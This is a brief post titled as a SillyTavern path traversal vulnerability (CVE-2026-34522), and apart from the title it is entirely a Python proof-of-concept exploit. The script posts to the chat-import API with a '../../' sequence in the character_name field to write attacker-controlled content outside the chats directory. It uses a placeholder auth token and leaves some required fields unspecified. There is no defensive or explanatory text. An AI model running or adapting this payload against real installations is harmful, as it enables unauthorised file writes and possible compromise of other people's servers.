CVE-2026-34522 SillyTavern路径遍历漏洞

import requests import json # Target URL (example) target_url = "http://localhost:8000/api/chats/import" # Attacker controlled payload utilizing path traversal # The goal is to write a file outside the 'chats' directory payload = { "character_name": "../../malicious_exploit.txt", # Path traversal sequence "chat_data": "This is attacker controlled content.", # Other required fields depending on API structure } # Headers (Authentication required as per PR:L) headers = { "Content-Type": "application/json", "Authorization": "Bearer <VALID_AUTH_TOKEN>" } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"An error occurred: {e}")